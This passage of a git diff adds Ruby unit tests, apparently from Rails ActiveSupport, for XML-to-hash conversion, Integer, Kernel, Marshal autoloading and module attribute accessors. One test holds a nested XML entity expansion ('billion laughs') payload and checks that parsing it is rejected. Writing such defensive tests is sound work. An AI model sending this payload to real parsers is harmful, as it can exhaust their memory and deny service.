+      author_email_address: "david@loudthinking.com",
+      parent_id: nil
+    }.stringify_keys
+
+    assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
+  end
+
+  def test_single_record_from_xml
+    topic_xml = <<-EOT
+      <topic>
+        <title>The First Topic</title>
+        <author-name>David</author-name>
+        <id type="integer">1</id>
+        <approved type="boolean"> true </approved>
+        <replies-count type="integer">0</replies-count>
+        <replies-close-in type="integer">2592000000</replies-close-in>
+        <written-on type="date">2003-07-16</written-on>
+        <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+        <author-email-address>david@loudthinking.com</author-email-address>
+        <parent-id></parent-id>
+        <ad-revenue type="decimal">1.5</ad-revenue>
+        <optimum-viewing-angle type="float">135</optimum-viewing-angle>
+      </topic>
+    EOT
+
+    expected_topic_hash = {
+      title: "The First Topic",
+      author_name: "David",
+      id: 1,
+      approved: true,
+      replies_count: 0,
+      replies_close_in: 2592000000,
+      written_on: Date.new(2003, 7, 16),
+      viewed_at: Time.utc(2003, 7, 16, 9, 28),
+      author_email_address: "david@loudthinking.com",
+      parent_id: nil,
+      ad_revenue: BigDecimal("1.50"),
+      optimum_viewing_angle: 135.0,
+    }.stringify_keys
+
+    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
+  end
+
+  def test_single_record_from_xml_with_nil_values
+    topic_xml = <<-EOT
+      <topic>
+        <title></title>
+        <id type="integer"></id>
+        <approved type="boolean"></approved>
+        <written-on type="date"></written-on>
+        <viewed-at type="datetime"></viewed-at>
+        <parent-id></parent-id>
+      </topic>
+    EOT
+
+    expected_topic_hash = {
+      title: nil,
+      id: nil,
+      approved: nil,
+      written_on: nil,
+      viewed_at: nil,
+      parent_id: nil
+    }.stringify_keys
+
+    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
+  end
+
+  def test_multiple_records_from_xml
+    topics_xml = <<-EOT
+      <topics type="array">
+        <topic>
+          <title>The First Topic</title>
+          <author-name>David</author-name>
+          <id type="integer">1</id>
+          <approved type="boolean">false</approved>
+          <replies-count type="integer">0</replies-count>
+          <replies-close-in type="integer">2592000000</replies-close-in>
+          <written-on type="date">2003-07-16</written-on>
+          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+          <content>Have a nice day</content>
+          <author-email-address>david@loudthinking.com</author-email-address>
+          <parent-id nil="true"></parent-id>
+        </topic>
+        <topic>
+          <title>The Second Topic</title>
+          <author-name>Jason</author-name>
+          <id type="integer">1</id>
+          <approved type="boolean">false</approved>
+          <replies-count type="integer">0</replies-count>
+          <replies-close-in type="integer">2592000000</replies-close-in>
+          <written-on type="date">2003-07-16</written-on>
+          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+          <content>Have a nice day</content>
+          <author-email-address>david@loudthinking.com</author-email-address>
+          <parent-id></parent-id>
+        </topic>
+      </topics>
+    EOT
+
+    expected_topic_hash = {
+      title: "The First Topic",
+      author_name: "David",
+      id: 1,
+      approved: false,
+      replies_count: 0,
+      replies_close_in: 2592000000,
+      written_on: Date.new(2003, 7, 16),
+      viewed_at: Time.utc(2003, 7, 16, 9, 28),
+      content: "Have a nice day",
+      author_email_address: "david@loudthinking.com",
+      parent_id: nil
+    }.stringify_keys
+
+    assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
+  end
+
+  def test_single_record_from_xml_with_attributes_other_than_type
+    topic_xml = <<-EOT
+    <rsp stat="ok">
+      <photos page="1" pages="1" perpage="100" total="16">
+        <photo id="175756086" owner="55569174@N00" secret="0279bf37a1" server="76" title="Colored Pencil PhotoBooth Fun" ispublic="1" isfriend="0" isfamily="0"/>
+      </photos>
+    </rsp>
+    EOT
+
+    expected_topic_hash = {
+      id: "175756086",
+      owner: "55569174@N00",
+      secret: "0279bf37a1",
+      server: "76",
+      title: "Colored Pencil PhotoBooth Fun",
+      ispublic: "1",
+      isfriend: "0",
+      isfamily: "0",
+    }.stringify_keys
+
+    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["rsp"]["photos"]["photo"]
+  end
+
+  def test_all_caps_key_from_xml
+    test_xml = <<-EOT
+      <ABC3XYZ>
+        <TEST>Lorem Ipsum</TEST>
+      </ABC3XYZ>
+    EOT
+
+    expected_hash = {
+      "ABC3XYZ" => {
+        "TEST" => "Lorem Ipsum"
+      }
+    }
+
+    assert_equal expected_hash, Hash.from_xml(test_xml)
+  end
+
+  def test_empty_array_from_xml
+    blog_xml = <<-XML
+      <blog>
+        <posts type="array"></posts>
+      </blog>
+    XML
+    expected_blog_hash = { "blog" => { "posts" => [] } }
+    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+  end
+
+  def test_empty_array_with_whitespace_from_xml
+    blog_xml = <<-XML
+      <blog>
+        <posts type="array">
+        </posts>
+      </blog>
+    XML
+    expected_blog_hash = { "blog" => { "posts" => [] } }
+    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+  end
+
+  def test_array_with_one_entry_from_xml
+    blog_xml = <<-XML
+      <blog>
+        <posts type="array">
+          <post>a post</post>
+        </posts>
+      </blog>
+    XML
+    expected_blog_hash = { "blog" => { "posts" => ["a post"] } }
+    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+  end
+
+  def test_array_with_multiple_entries_from_xml
+    blog_xml = <<-XML
+      <blog>
+        <posts type="array">
+          <post>a post</post>
+          <post>another post</post>
+        </posts>
+      </blog>
+    XML
+    expected_blog_hash = { "blog" => { "posts" => ["a post", "another post"] } }
+    assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+  end
+
+  def test_file_from_xml
+    blog_xml = <<-XML
+      <blog>
+        <logo type="file" name="logo.png" content_type="image/png">
+        </logo>
+      </blog>
+    XML
+    hash = Hash.from_xml(blog_xml)
+    assert hash.has_key?("blog")
+    assert hash["blog"].has_key?("logo")
+
+    file = hash["blog"]["logo"]
+    assert_equal "logo.png", file.original_filename
+    assert_equal "image/png", file.content_type
+  end
+
+  def test_file_from_xml_with_defaults
+    blog_xml = <<-XML
+      <blog>
+        <logo type="file">
+        </logo>
+      </blog>
+    XML
+    file = Hash.from_xml(blog_xml)["blog"]["logo"]
+    assert_equal "untitled", file.original_filename
+    assert_equal "application/octet-stream", file.content_type
+  end
+
+  def test_tag_with_attrs_and_whitespace
+    xml = <<-XML
+      <blog name="bacon is the best">
+      </blog>
+    XML
+    hash = Hash.from_xml(xml)
+    assert_equal "bacon is the best", hash["blog"]["name"]
+  end
+
+  def test_empty_cdata_from_xml
+    xml = "<data><![CDATA[]]></data>"
+
+    assert_equal "", Hash.from_xml(xml)["data"]
+  end
+
+  def test_xsd_like_types_from_xml
+    bacon_xml = <<-EOT
+    <bacon>
+      <weight type="double">0.5</weight>
+      <price type="decimal">12.50</price>
+      <chunky type="boolean"> 1 </chunky>
+      <expires-at type="dateTime">2007-12-25T12:34:56+0000</expires-at>
+      <notes type="string"></notes>
+      <illustration type="base64Binary">YmFiZS5wbmc=</illustration>
+      <caption type="binary" encoding="base64">VGhhdCdsbCBkbywgcGlnLg==</caption>
+    </bacon>
+    EOT
+
+    expected_bacon_hash = {
+      weight: 0.5,
+      chunky: true,
+      price: BigDecimal("12.50"),
+      expires_at: Time.utc(2007, 12, 25, 12, 34, 56),
+      notes: "",
+      illustration: "babe.png",
+      caption: "That'll do, pig."
+    }.stringify_keys
+
+    assert_equal expected_bacon_hash, Hash.from_xml(bacon_xml)["bacon"]
+  end
+
+  def test_type_trickles_through_when_unknown
+    product_xml = <<-EOT
+    <product>
+      <weight type="double">0.5</weight>
+      <image type="ProductImage"><filename>image.gif</filename></image>
+
+    </product>
+    EOT
+
+    expected_product_hash = {
+      weight: 0.5,
+      image: { "type" => "ProductImage", "filename" => "image.gif" },
+    }.stringify_keys
+
+    assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
+  end
+
+  def test_from_xml_raises_on_disallowed_type_attributes
+    assert_raise ActiveSupport::XMLConverter::DisallowedType do
+      Hash.from_xml '<product><name type="foo">value</name></product>', %w(foo)
+    end
+  end
+
+  def test_from_xml_disallows_symbol_and_yaml_types_by_default
+    assert_raise ActiveSupport::XMLConverter::DisallowedType do
+      Hash.from_xml '<product><name type="symbol">value</name></product>'
+    end
+
+    assert_raise ActiveSupport::XMLConverter::DisallowedType do
+      Hash.from_xml '<product><name type="yaml">value</name></product>'
+    end
+  end
+
+  def test_from_xml_array_one
+    expected = { "numbers" => { "type" => "Array", "value" => "1" } }
+    assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value></numbers>')
+  end
+
+  def test_from_xml_array_many
+    expected = { "numbers" => { "type" => "Array", "value" => [ "1", "2" ] } }
+    assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value><value>2</value></numbers>')
+  end
+
+  def test_from_trusted_xml_allows_symbol_and_yaml_types
+    expected = { "product" => { "name" => :value } }
+    assert_equal expected, Hash.from_trusted_xml('<product><name type="symbol">value</name></product>')
+    assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
+  end
+
+  # The XML builder seems to fail miserably when trying to tag something
+  # with the same name as a Kernel method (throw, test, loop, select ...)
+  def test_kernel_method_names_to_xml
+    hash     = { throw: { ball: "red" } }
+    expected = "<person><throw><ball>red</ball></throw></person>"
+
+    assert_nothing_raised do
+      assert_equal expected, hash.to_xml(@xml_options)
+    end
+  end
+
+  def test_empty_string_works_for_typecast_xml_value
+    assert_nothing_raised do
+      ActiveSupport::XMLConverter.new("").to_h
+    end
+  end
+
+  def test_escaping_to_xml
+    hash = {
+      bare_string: "First & Last Name",
+      pre_escaped_string: "First &amp; Last Name"
+    }.stringify_keys
+
+    expected_xml = "<person><bare-string>First &amp; Last Name</bare-string><pre-escaped-string>First &amp;amp; Last Name</pre-escaped-string></person>"
+    assert_equal expected_xml, hash.to_xml(@xml_options)
+  end
+
+  def test_unescaping_from_xml
+    xml_string = "<person><bare-string>First &amp; Last Name</bare-string><pre-escaped-string>First &amp;amp; Last Name</pre-escaped-string></person>"
+    expected_hash = {
+      bare_string: "First & Last Name",
+      pre_escaped_string: "First &amp; Last Name"
+    }.stringify_keys
+    assert_equal expected_hash, Hash.from_xml(xml_string)["person"]
+  end
+
+  def test_roundtrip_to_xml_from_xml
+    hash = {
+      bare_string: "First & Last Name",
+      pre_escaped_string: "First &amp; Last Name"
+    }.stringify_keys
+
+    assert_equal hash, Hash.from_xml(hash.to_xml(@xml_options))["person"]
+  end
+
+  def test_datetime_xml_type_with_utc_time
+    alert_xml = <<-XML
+      <alert>
+        <alert_at type="datetime">2008-02-10T15:30:45Z</alert_at>
+      </alert>
+    XML
+    alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
+    assert alert_at.utc?
+    assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
+  end
+
+  def test_datetime_xml_type_with_non_utc_time
+    alert_xml = <<-XML
+      <alert>
+        <alert_at type="datetime">2008-02-10T10:30:45-05:00</alert_at>
+      </alert>
+    XML
+    alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
+    assert alert_at.utc?
+    assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
+  end
+
+  def test_datetime_xml_type_with_far_future_date
+    alert_xml = <<-XML
+      <alert>
+        <alert_at type="datetime">2050-02-10T15:30:45Z</alert_at>
+      </alert>
+    XML
+    alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
+    assert alert_at.utc?
+    assert_equal 2050,  alert_at.year
+    assert_equal 2,     alert_at.month
+    assert_equal 10,    alert_at.day
+    assert_equal 15,    alert_at.hour
+    assert_equal 30,    alert_at.min
+    assert_equal 45,    alert_at.sec
+  end
+
+  def test_to_xml_dups_options
+    options = { skip_instruct: true }
+    {}.to_xml(options)
+    # :builder, etc, shouldn't be added to options
+    assert_equal({ skip_instruct: true }, options)
+  end
+
+  def test_expansion_count_is_limited
+    expected =
+      case ActiveSupport::XmlMini.backend.name
+      when "ActiveSupport::XmlMini_REXML";        RuntimeError
+      when "ActiveSupport::XmlMini_Nokogiri";     Nokogiri::XML::SyntaxError
+      when "ActiveSupport::XmlMini_NokogiriSAX";  RuntimeError
+      when "ActiveSupport::XmlMini_LibXML";       LibXML::XML::Error
+      when "ActiveSupport::XmlMini_LibXMLSAX";    LibXML::XML::Error
+      end
+
+    assert_raise expected do
+      attack_xml = <<-EOT
+      <?xml version="1.0" encoding="UTF-8"?>
+      <!DOCTYPE member [
+        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+      ]>
+      <member>
+      &a;
+      </member>
+      EOT
+      Hash.from_xml(attack_xml)
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
new file mode 100644
index 0000000000..14169b084d
--- /dev/null
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/integer"
+
+class IntegerExtTest < ActiveSupport::TestCase
+  PRIME = 22953686867719691230002707821868552601124472329079
+
+  def test_multiple_of
+    [ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
+    [ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
+
+    # test the 0 edge case
+    assert 0.multiple_of?(0)
+    assert !5.multiple_of?(0)
+
+    # test with a prime
+    [2, 3, 5, 7].each { |i| assert !PRIME.multiple_of?(i) }
+  end
+
+  def test_ordinalize
+    # These tests are mostly just to ensure that the ordinalize method exists.
+    # Its results are tested comprehensively in the inflector test cases.
+    assert_equal "1st", 1.ordinalize
+    assert_equal "8th", 8.ordinalize
+  end
+
+  def test_ordinal
+    assert_equal "st", 1.ordinal
+    assert_equal "th", 8.ordinal
+  end
+end
diff --git a/activesupport/test/core_ext/kernel/concern_test.rb b/activesupport/test/core_ext/kernel/concern_test.rb
new file mode 100644
index 0000000000..b40ff6a623
--- /dev/null
+++ b/activesupport/test/core_ext/kernel/concern_test.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/kernel/concern"
+
+class KernelConcernTest < ActiveSupport::TestCase
+  def test_may_be_defined_at_toplevel
+    mod = ::TOPLEVEL_BINDING.eval "concern(:ToplevelConcern) { }"
+    assert_equal mod, ::ToplevelConcern
+    assert_kind_of ActiveSupport::Concern, ::ToplevelConcern
+    assert_not Object.ancestors.include?(::ToplevelConcern), mod.ancestors.inspect
+  ensure
+    Object.send :remove_const, :ToplevelConcern
+  end
+end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
new file mode 100644
index 0000000000..ef11e10af8
--- /dev/null
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/kernel"
+
+class KernelTest < ActiveSupport::TestCase
+  def test_silence_warnings
+    silence_warnings { assert_nil $VERBOSE }
+    assert_equal 1234, silence_warnings { 1234 }
+  end
+
+  def test_silence_warnings_verbose_invariant
+    old_verbose = $VERBOSE
+    silence_warnings { raise }
+    flunk
+  rescue
+    assert_equal old_verbose, $VERBOSE
+  end
+
+  def test_enable_warnings
+    enable_warnings { assert_equal true, $VERBOSE }
+    assert_equal 1234, enable_warnings { 1234 }
+  end
+
+  def test_enable_warnings_verbose_invariant
+    old_verbose = $VERBOSE
+    enable_warnings { raise }
+    flunk
+  rescue
+    assert_equal old_verbose, $VERBOSE
+  end
+
+  def test_class_eval
+    o = Object.new
+    class << o; @x = 1; end
+    assert_equal 1, o.class_eval { @x }
+  end
+end
+
+class KernelSuppressTest < ActiveSupport::TestCase
+  def test_reraise
+    assert_raise(LoadError) do
+      suppress(ArgumentError) { raise LoadError }
+    end
+  end
+
+  def test_suppression
+    suppress(ArgumentError) { raise ArgumentError }
+    suppress(LoadError) { raise LoadError }
+    suppress(LoadError, ArgumentError) { raise LoadError }
+    suppress(LoadError, ArgumentError) { raise ArgumentError }
+  end
+end
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
new file mode 100644
index 0000000000..4fdd228ff8
--- /dev/null
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/load_error"
+
+class TestLoadError < ActiveSupport::TestCase
+  def test_with_require
+    assert_raise(LoadError) { require 'no_this_file_don\'t_exist' }
+  end
+  def test_with_load
+    assert_raise(LoadError) { load "nor_does_this_one" }
+  end
+  def test_path
+    begin load "nor/this/one.rb"
+    rescue LoadError => e
+      assert_equal "nor/this/one.rb", e.path
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/marshal_test.rb b/activesupport/test/core_ext/marshal_test.rb
new file mode 100644
index 0000000000..7ac051b4b1
--- /dev/null
+++ b/activesupport/test/core_ext/marshal_test.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/marshal"
+require "dependencies_test_helpers"
+
+class MarshalTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  include DependenciesTestHelpers
+
+  def teardown
+    ActiveSupport::Dependencies.clear
+    remove_constants(:EM, :ClassFolder)
+  end
+
+  test "that Marshal#load still works" do
+    sanity_data = ["test", [1, 2, 3], { a: [1, 2, 3] }, ActiveSupport::TestCase]
+    sanity_data.each do |obj|
+      dumped = Marshal.dump(obj)
+      assert_equal Marshal.method(:load).super_method.call(dumped), Marshal.load(dumped)
+    end
+  end
+
+  test "that Marshal#load still works when passed a proc" do
+    example_string = "test"
+
+    example_proc = Proc.new do |o|
+      if o.is_a?(String)
+        o.capitalize!
+      end
+    end
+
+    dumped = Marshal.dump(example_string)
+    assert_equal Marshal.load(dumped, example_proc), "Test"
+  end
+
+  test "that a missing class is autoloaded from string" do
+    dumped = nil
+    with_autoloading_fixtures do
+      dumped = Marshal.dump(EM.new)
+    end
+
+    remove_constants(:EM)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      object = nil
+      assert_nothing_raised do
+        object = Marshal.load(dumped)
+      end
+
+      assert_kind_of EM, object
+    end
+  end
+
+  test "that classes in sub modules work" do
+    dumped = nil
+    with_autoloading_fixtures do
+      dumped = Marshal.dump(ClassFolder::ClassFolderSubclass.new)
+    end
+
+    remove_constants(:ClassFolder)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      object = nil
+      assert_nothing_raised do
+        object = Marshal.load(dumped)
+      end
+
+      assert_kind_of ClassFolder::ClassFolderSubclass, object
+    end
+  end
+
+  test "that more than one missing class is autoloaded" do
+    dumped = nil
+    with_autoloading_fixtures do
+      dumped = Marshal.dump([EM.new, ClassFolder.new])
+    end
+
+    remove_constants(:EM, :ClassFolder)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      loaded = Marshal.load(dumped)
+      assert_equal 2, loaded.size
+      assert_kind_of EM, loaded[0]
+      assert_kind_of ClassFolder, loaded[1]
+    end
+  end
+
+  test "when one constant resolves to another" do
+    class Parent; C = Class.new; end
+    class Child < Parent; C = Class.new; end
+
+    dump = Marshal.dump(Child::C.new)
+
+    Child.send(:remove_const, :C)
+
+    assert_raise(ArgumentError) { Marshal.load(dump) }
+  end
+
+  test "that a real missing class is causing an exception" do
+    dumped = nil
+    with_autoloading_fixtures do
+      dumped = Marshal.dump(EM.new)
+    end
+
+    remove_constants(:EM)
+    ActiveSupport::Dependencies.clear
+
+    assert_raise(NameError) do
+      Marshal.load(dumped)
+    end
+  end
+
+  test "when first class is autoloaded and second not" do
+    dumped = nil
+    class SomeClass
+    end
+
+    with_autoloading_fixtures do
+      dumped = Marshal.dump([EM.new, SomeClass.new])
+    end
+
+    remove_constants(:EM)
+    self.class.send(:remove_const, :SomeClass)
+    ActiveSupport::Dependencies.clear
+
+    with_autoloading_fixtures do
+      assert_raise(NameError) do
+        Marshal.load(dumped)
+      end
+
+      assert_nothing_raised do
+        EM.new
+      end
+
+      assert_raise(NameError, "We expected SomeClass to not be loaded but it is!") do
+        SomeClass.new
+      end
+    end
+  end
+
+  test "loading classes from files trigger autoloading" do
+    Tempfile.open("object_serializer_test") do |f|
+      with_autoloading_fixtures do
+        Marshal.dump(EM.new, f)
+      end
+
+      f.rewind
+      remove_constants(:EM)
+      ActiveSupport::Dependencies.clear
+
+      with_autoloading_fixtures do
+        object = nil
+        assert_nothing_raised do
+          object = Marshal.load(f)
+        end
+
+        assert_kind_of EM, object
+      end
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/module/anonymous_test.rb b/activesupport/test/core_ext/module/anonymous_test.rb
new file mode 100644
index 0000000000..606f22c9b5
--- /dev/null
+++ b/activesupport/test/core_ext/module/anonymous_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/anonymous"
+
+class AnonymousTest < ActiveSupport::TestCase
+  test "an anonymous class or module are anonymous" do
+    assert Module.new.anonymous?
+    assert Class.new.anonymous?
+  end
+
+  test "a named class or module are not anonymous" do
+    assert !Kernel.anonymous?
+    assert !Object.anonymous?
+  end
+end
diff --git a/activesupport/test/core_ext/module/attr_internal_test.rb b/activesupport/test/core_ext/module/attr_internal_test.rb
new file mode 100644
index 0000000000..c2a28eced4
--- /dev/null
+++ b/activesupport/test/core_ext/module/attr_internal_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/attr_internal"
+
+class AttrInternalTest < ActiveSupport::TestCase
+  def setup
+    @target = Class.new
+    @instance = @target.new
+  end
+
+  def test_reader
+    assert_nothing_raised { @target.attr_internal_reader :foo }
+
+    assert !@instance.instance_variable_defined?("@_foo")
+    assert_raise(NoMethodError) { @instance.foo = 1 }
+
+    @instance.instance_variable_set("@_foo", 1)
+    assert_nothing_raised { assert_equal 1, @instance.foo }
+  end
+
+  def test_writer
+    assert_nothing_raised { @target.attr_internal_writer :foo }
+
+    assert !@instance.instance_variable_defined?("@_foo")
+    assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
+
+    assert_equal 1, @instance.instance_variable_get("@_foo")
+    assert_raise(NoMethodError) { @instance.foo }
+  end
+
+  def test_accessor
+    assert_nothing_raised { @target.attr_internal :foo }
+
+    assert !@instance.instance_variable_defined?("@_foo")
+    assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
+
+    assert_equal 1, @instance.instance_variable_get("@_foo")
+    assert_nothing_raised { assert_equal 1, @instance.foo }
+  end
+
+  def test_naming_format
+    assert_equal "@_%s", Module.attr_internal_naming_format
+    assert_nothing_raised { Module.attr_internal_naming_format = "@abc%sdef" }
+    @target.attr_internal :foo
+
+    assert !@instance.instance_variable_defined?("@_foo")
+    assert !@instance.instance_variable_defined?("@abcfoodef")
+    assert_nothing_raised { @instance.foo = 1 }
+    assert !@instance.instance_variable_defined?("@_foo")
+    assert @instance.instance_variable_defined?("@abcfoodef")
+  ensure
+    Module.attr_internal_naming_format = "@_%s"
+  end
+end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb
new file mode 100644
index 0000000000..e0fbd1002c
--- /dev/null
+++ b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/attribute_accessors_per_thread"
+
+class ModuleAttributeAccessorPerThreadTest < ActiveSupport::TestCase
+  def setup
+    @class = Class.new do
+      thread_mattr_accessor :foo
+      thread_mattr_accessor :bar,  instance_writer: false
+      thread_mattr_reader   :shaq, instance_reader: false
+      thread_mattr_accessor :camp, instance_accessor: false
+
+      def self.name; "MyClass" end
+    end
+
+    @subclass = Class.new(@class) do
+      def self.name; "SubMyClass" end
+    end
+
+    @object = @class.new
+  end
+
+  def test_should_use_mattr_default
+    Thread.new do
+      assert_nil @class.foo
+      assert_nil @object.foo
+    end.join
+  end
+
+  def test_should_set_mattr_value
+    Thread.new do
+      @class.foo = :test
+      assert_equal :test, @class.foo
+
+      @class.foo = :test2
+      assert_equal :test2, @class.foo
+    end.join
+  end
+
+  def test_should_not_create_instance_writer
+    Thread.new do
+      assert_respond_to @class, :foo
+      assert_respond_to @class, :foo=
+      assert_respond_to @object, :bar
+      assert !@object.respond_to?(:bar=)
+    end.join
+  end
+
+  def test_should_not_create_instance_reader
+    Thread.new do
+      assert_respond_to @class, :shaq
+      assert !@object.respond_to?(:shaq)
+    end.join
+  end
+
+  def test_should_not_create_instance_accessors
+    Thread.new do
+      assert_respond_to @class, :camp
+      assert !@object.respond_to?(:camp)
+      assert !@object.respond_to?(:camp=)
+    end.join
+  end
+
+  def test_values_should_not_bleed_between_threads
+    threads = []
+    threads << Thread.new do
+      @class.foo = "things"
+      sleep 1
+      assert_equal "things", @class.foo
+    end
+
+    threads << Thread.new do
+      @class.foo = "other things"
+      sleep 1
+      assert_equal "other things", @class.foo
+    end
+
+    threads << Thread.new do
+      @class.foo = "really other things"
+      sleep 1
+      assert_equal "really other things", @class.foo
+    end
+
+    threads.each { |t| t.join }
+  end
+
+  def test_should_raise_name_error_if_attribute_name_is_invalid
+    exception = assert_raises NameError do
+      Class.new do
+        thread_cattr_reader "1nvalid"
+      end
+    end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
+        thread_cattr_writer "1nvalid"
+      end
+    end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
+        thread_mattr_reader "1valid_part"
+      end
+    end
+    assert_equal "invalid attribute name: 1valid_part", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
+        thread_mattr_writer "2valid_part"
+      end
+    end
+    assert_equal "invalid attribute name: 2valid_part", exception.message
+  end
+
+  def test_should_return_same_value_by_class_or_instance_accessor
+    @class.foo = "fries"
+
+    assert_equal @class.foo, @object.foo
+  end
+
+  def test_should_not_affect_superclass_if_subclass_set_value
+    @class.foo = "super"
+    assert_equal "super", @class.foo
+    assert_nil @subclass.foo
+
+    @subclass.foo = "sub"
+    assert_equal "super", @class.foo
+    assert_equal "sub", @subclass.foo
+  end
+end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
new file mode 100644
index 0000000000..f1d6859a88
--- /dev/null
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/module/attribute_accessors"
+
+class ModuleAttributeAccessorTest < ActiveSupport::TestCase
+  def setup
+    m = @module = Module.new do
+      mattr_accessor :foo
+      mattr_accessor :bar, instance_writer: false
+      mattr_reader   :shaq, instance_reader: false
+      mattr_accessor :camp, instance_accessor: false
+
+      cattr_accessor(:defa) { "default_accessor_value" }
+      cattr_reader(:defr) { "default_reader_value" }
+      cattr_writer(:defw) { "default_writer_value" }
+      cattr_accessor(:deff) { false }
+      cattr_accessor(:quux) { :quux }
+
+      cattr_accessor :def_accessor, default: "default_accessor_value"
+      cattr_reader :def_reader, default: "default_reader_value"
+      cattr_writer :def_writer, default: "default_writer_value"
+      cattr_accessor :def_false, default: false
+      cattr_accessor(:def_priority, default: false) { :no_priority }
+    end
+    @class = Class.new
+    @class.instance_eval { include m }
+    @object = @class.new
+  end
+
+  def test_should_use_mattr_default
+    assert_nil @module.foo
+    assert_nil @object.foo
+  end
+
+  def test_mattr_default_keyword_arguments
+    assert_equal "default_accessor_value", @module.def_accessor
+    assert_equal "default_reader_value", @module.def_reader
+    assert_equal "default_writer_value", @module.class_variable_get(:@@def_writer)
+  end
+
+  def test_mattr_can_default_to_false
+    assert_equal false, @module.def_false
+    assert_equal false, @module.deff
+  end
+
+  def test_mattr_default_priority
+    assert_equal false, @module.def_priority
+  end
+
+  def test_should_set_mattr_value
+    @module.foo = :test
+    assert_equal :test, @object.foo
+
+    @object.foo = :test2
+    assert_equal :test2, @module.foo
+  end
+
+  def test_cattr_accessor_default_value
+    assert_equal :quux, @module.quux
+    assert_equal :quux, @object.quux
+  end
+
+  def test_should_not_create_instance_writer
+    assert_respond_to @module, :foo
+    assert_respond_to @module, :foo=
+    assert_respond_to @object, :bar
+    assert !@object.respond_to?(:bar=)
+  end
+
+  def test_should_not_create_instance_reader
+    assert_respond_to @module, :shaq
+    assert !@object.respond_to?(:shaq)
+  end
+
+  def test_should_not_create_instance_accessors
+    assert_respond_to @module, :camp
+    assert !@object.respond_to?(:camp)
+    assert !@object.respond_to?(:camp=)
+  end
+
+  def test_should_raise_name_error_if_attribute_name_is_invalid
+    exception = assert_raises NameError do
+      Class.new do
+        cattr_reader "1nvalid"
+      end
+    end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
+        cattr_writer "1nvalid"
+      end
+    end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+
+    exception = assert_raises NameError do
+      Class.new do
